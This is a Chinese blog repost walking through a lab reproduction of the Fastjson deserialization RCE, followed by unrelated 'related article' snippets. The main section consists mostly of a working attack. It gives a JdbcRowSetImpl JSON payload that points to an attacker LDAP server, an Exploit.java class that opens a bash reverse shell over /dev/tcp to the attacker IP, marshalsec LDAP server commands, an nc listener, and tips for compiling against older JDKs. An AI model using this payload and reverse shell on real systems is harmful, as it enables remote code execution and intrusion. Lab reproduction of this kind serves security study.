fastjson反序列化漏洞复现

靶机IP:192.168.253.134
攻击机IP:192.168.142.44

1、靶机环境搭建

靶机:http://caiyun.feixin.10086.cn/dl/095CteuquNKVq  提取密码:NNPD
RCE:http://caiyun.feixin.10086.cn/dl/095CuIsJQOw14  提取密码:J2vd

靶机账号密码:root;toor

tomcat路径:/usr/local/tomcat/apache-tomcat-9.0.27/

jdk版本:

访问靶机Web服务:

被fastjson调用解析的参数:

2、攻击机环境准备

(1)监听流量

nc -lvvp 5555

(2)测试外连

{"name": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"x": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://192.168.142.44:5555/fastjson/Exploit","autoCommit": true}
}

(4)修改Exploit并编译成class文件

Exploit.java,修改反弹的IP跟端口import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {}
}
 

编译成class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错):

javac Exploit.java

(5)准备LDAP服务和Web服务

这里使用的Web服务也是tomcat,在Web目录下运行LDAP服务,启动Web服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.142.44:8080/fastjson/#Exploit

nc准备接收反弹回来的shell

(6)执行

修改IP为攻击机IP,访问靶机漏洞链接post以下payload:

{"name": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"x": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://192.168.142.44:1389/fastjson/Exploit","autoCommit": true}
}

LDAP把请求Redirect到Web服务,Fastjson将会下载Exploit.class,并解析运行,Web服务器也会有请求记录

nc收到反弹回来的shell

3、其他问题

(1)当javac版本和目标服务器差太多,会报一个下面那样的错误,所以需要使用1.8的javac来编译Exploit.java

Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

 或者降级编译

javac -source 1.7 -target 1.7 Exploit.java

(2)记得开放防火墙需要用到的端口。

(3)当运行LDAP的服务器java版本过高,会无法运行LDAP服务,虽然显示正在Listening,但是Fastjson的JNDI会报错,显示无法获取到资源,所以要使用java 1.8(openjdk 8)来运行LDAP服务

(4)推荐使用LDAP协议进行漏洞利用:

RMI协议的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修复了
LDAP协议的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修复了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/22594.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OBS+nginx+nginx-http-flv-module实现阿里云的推流和拉流

背景&#xff1a;需要将球机视频推送到阿里云nginx&#xff0c;使用网页和移动端进行播放&#xff0c;以前视频格式为RTMP&#xff0c;但是在网页上面播放RTMP格式需要安装flash插件&#xff0c;chrome浏览器不给安装&#xff0c;调研后发现可以使用nginx的模块nginx-http-flv-…

工业物联网网关助推企业数字化转型,解决设备互联互通问题-天拓四方

随着科技的飞速发展&#xff0c;物联网技术已经渗透到工业领域的每一个角落。作为连接物理世界和数字世界的桥梁&#xff0c;工业物联网网关在推动企业数字化转型中发挥着至关重要的作用。数字化转型已经成为企业提升竞争力的必由之路&#xff0c;然而&#xff0c;在转型过程中…

升级最新版openssh-9.7p1及openssl-1.1.1h详细步骤及常见问题总结

近期因为openssh相继被漏洞扫描工具扫出存在漏洞&#xff0c;所以考虑升级操作系统中的openssh和openssl为最新版本&#xff0c;来避免漏洞风险。期间的升级过程及遇到的疑难问题&#xff0c;特此记录下来&#xff0c;供有需要的人参考。 本次目标是升级 openssh 为 9.7p1 版本…

计算机网络ppt和课后题总结(上)

试在下列条件下比较电路交换和分组交换。要传送的报文共 x(bit)。从源点到终点共经过 k 段链路&#xff0c;每段链路的传播时延为 d(s)&#xff0c;数据率为 b(b/s)。在电路交换时电路的建立时间为 s(s)。在分组交换时分组长度为 p(bit)&#xff0c;且各结点的排队等待时间可忽…

深入理解 Vue Router 及其 `router` 和 `route` 变量

深入理解 Vue Router 及其 router 和 route 变量 在使用 Vue.js 进行单页面应用开发时&#xff0c;Vue Router 是一个不可或缺的工具。它使得我们可以轻松地管理应用中的路由&#xff0c;提供了流畅的用户体验。然而&#xff0c;在实际开发中&#xff0c;许多开发者可能会混淆…

【Bug】httpClient循环调用除首次外会报Forbidden postman上用同样的参数可以

文章目录 问题问题代码原因解决处理Bug的具体步骤 问题 httpClient循环调用除首次外会报Forbidden postman上用同样的参数可以 问题代码 出问题的是一个外部系统的登录接口的调用 var response _httpClient.PostAsync($"/prod-api/openauth/login", content).Res…

Object.defineProperty 和 Proxy 响应式原理 vue2 vue3

一、VUE2 响应式原理 Object.defineProperty Object.defineProperty 方法允许精确添加一个属性到对象上&#xff0c;或者修改对象的现有属性&#xff0c;并返回这个对象。它可以用来定义或修改属性的特性&#xff0c;如 value, writable, enumerable, 和 configurable。 1) …

YOLOv8+PyQt5苹果叶病害检测(可以重新训练,yolov8模型,从图像、视频和摄像头三种路径识别检测)

效果视频&#xff1a;YOLOv8PyQt5苹果叶病害检测系统完整资源集合 资源包含可视化的苹果叶病害检测系统&#xff0c;基于最新的YOLOv8训练的苹果叶病害检测模型&#xff0c;和基于PyQt5制作的可视苹果叶病害系统&#xff0c;包含登陆页面和检测页面&#xff0c;该系统可自动检…

操作符:->

在一个指针变量指向一个结构体时常常会用->操作符来使用结构体内部的成员&#xff0c; 下面是我们没有使用指针时&#xff0c;如何调用结构体内的成员&#xff0c; #include<stdio.h>struct stu {char name[20];int age;char number[20]; };int main() {struct stu …

python实现——分类类型数据挖掘任务(图形识别分类任务)

分类类型数据挖掘任务 基于卷积神经网络&#xff08;CNN&#xff09;的岩石图像分类。有一岩石图片数据集&#xff0c;共300张岩石图片&#xff0c;图片尺寸224x224。岩石种类有砾岩&#xff08;Conglomerate&#xff09;、安山岩&#xff08;Andesite&#xff09;、花岗岩&am…

学会这14大招,30天涨粉两三千没问题!沈阳新媒体运营培训

很多小白在刚转入公司做新媒体时&#xff0c;基本都是从帮助公司运营账号开始的。但不同于个人号&#xff0c;一个企业本身是没有ip属性的&#xff0c;它的风格、调性等&#xff0c;都需要通过你的运营&#xff0c;让它变成一个活灵活现的、赋予独立个性人设的账号。 目前&…

Isaac Lab支持的强化学习框架介绍

在Isaac Lab中使用rl_games强化学习框架进行机械臂训练实验 python source/standalone/workflows/rl_games/train.py --taskIsaac-Franka-Cabinet-Direct-v0 使用 RL 代理进行培训 — Isaac Lab 文档 --- Training with an RL Agent — Isaac Lab documentation (isaac-sim.g…

能匠教育影视后期学员江颢:机电工程系的男大学生的意外收获!

江颢,一个热爱学习的大三学生。他是机电工程系的学生,因为女朋友喜欢拍照,经常让他剪辑视频,刚开始也只是用剪映马马虎虎剪辑,技术有限,总是剪不出想要的感觉和意境,女朋友也觉得不太满意。所以想提升下剪辑能力,后面,偶然发现能匠教育这个影视后期学习和接单信息。他一开始只是…

【Vue】指令修饰符

文章目录 一、按键修饰符二、v-model修饰符三、事件修饰符 指令修饰符&#xff1a;就是通过 “.” 指明一些指令后缀&#xff0c;不同的后缀封装了不同的处理操作 —> 简化代码 一、按键修饰符 按键修饰符 keyup.enter —>当点击enter键的时候才触发 v-model修饰符 v-m…

重学java 60.IO流 字节流 ① File类

明年此日青云去&#xff0c;却笑人间举子忙 —— 24.6.4 知识回顾 1 .HashMap a.特点:无序,无索引,key唯一,线程不安全,可以存null键null值 b.数据结构:哈希表 c.方法:put remove get keyset entryset values containsKey 2.LinkedHashMap : a.特点:有…

Mybatis不明白?就这一篇带你轻松入门

引言&#xff1a;烧脑的我一直在烧脑的寻找资料&#xff0c;寻找网课&#xff0c;历经磨难让一个在大一期间只会算法的我逐渐走入Java前后端开发&#xff0c;也是一直在自学的道路上磕磕碰碰&#xff0c;也希望这篇文章对于也是同处于自学的你有所帮助&#xff0c;也希望你继续…

三生随记——鬼影膏药

深秋的夜晚&#xff0c;寒风凛冽&#xff0c;月光苍白如纸&#xff0c;洒在寂静无声的小镇上。这个镇子名叫“影落镇”&#xff0c;镇上流传着一个关于神秘膏药的恐怖传说。 传说在百年前&#xff0c;镇上有一位名叫林鬼影的医师&#xff0c;他医术高超&#xff0c;却性格古怪&…

备考系统架构设计师,看这篇就够了!(包括核心总结、真题、论文、模拟试题索引)

注&#xff1a;以下章节核心总结来自最新版课本&#xff1a;系统架构设计师教程&#xff08;第2版&#xff09;: https://url35.ctfile.com/f/52515535-1268514286-ca9b3a?p6235 ( 访问密码: 6235, 电子版 pdf 文件大小: 168.9 M &#xff0c;需要的话可自行下载&#xff0c;…

开源模型应用落地-LangChain试炼-LCEL-表达式语言(一)

一、前言 尽管现在的大语言模型已经非常强大&#xff0c;可以解决许多问题&#xff0c;但在处理复杂情况时&#xff0c;仍然需要进行多个步骤或整合不同的流程才能达到最终的目标。然而&#xff0c;现在可以利用langchain来使得模型的应用变得更加直接和简单。 LCEL是什么&…

最强总结!18个机器学习核心算法模型!!

前言 大家好~在学习机器学习之后&#xff0c;你认为最重要的算法模型有哪些&#xff1f;今儿的内容涉及到 线性回归逻辑回归决策树支持向量机朴素贝叶斯K近邻算法聚类算法神经网络集成方法降维算法 我把每种算法模型的核心公式和代码也列举了出来&#xff0c;如果有其他比较重…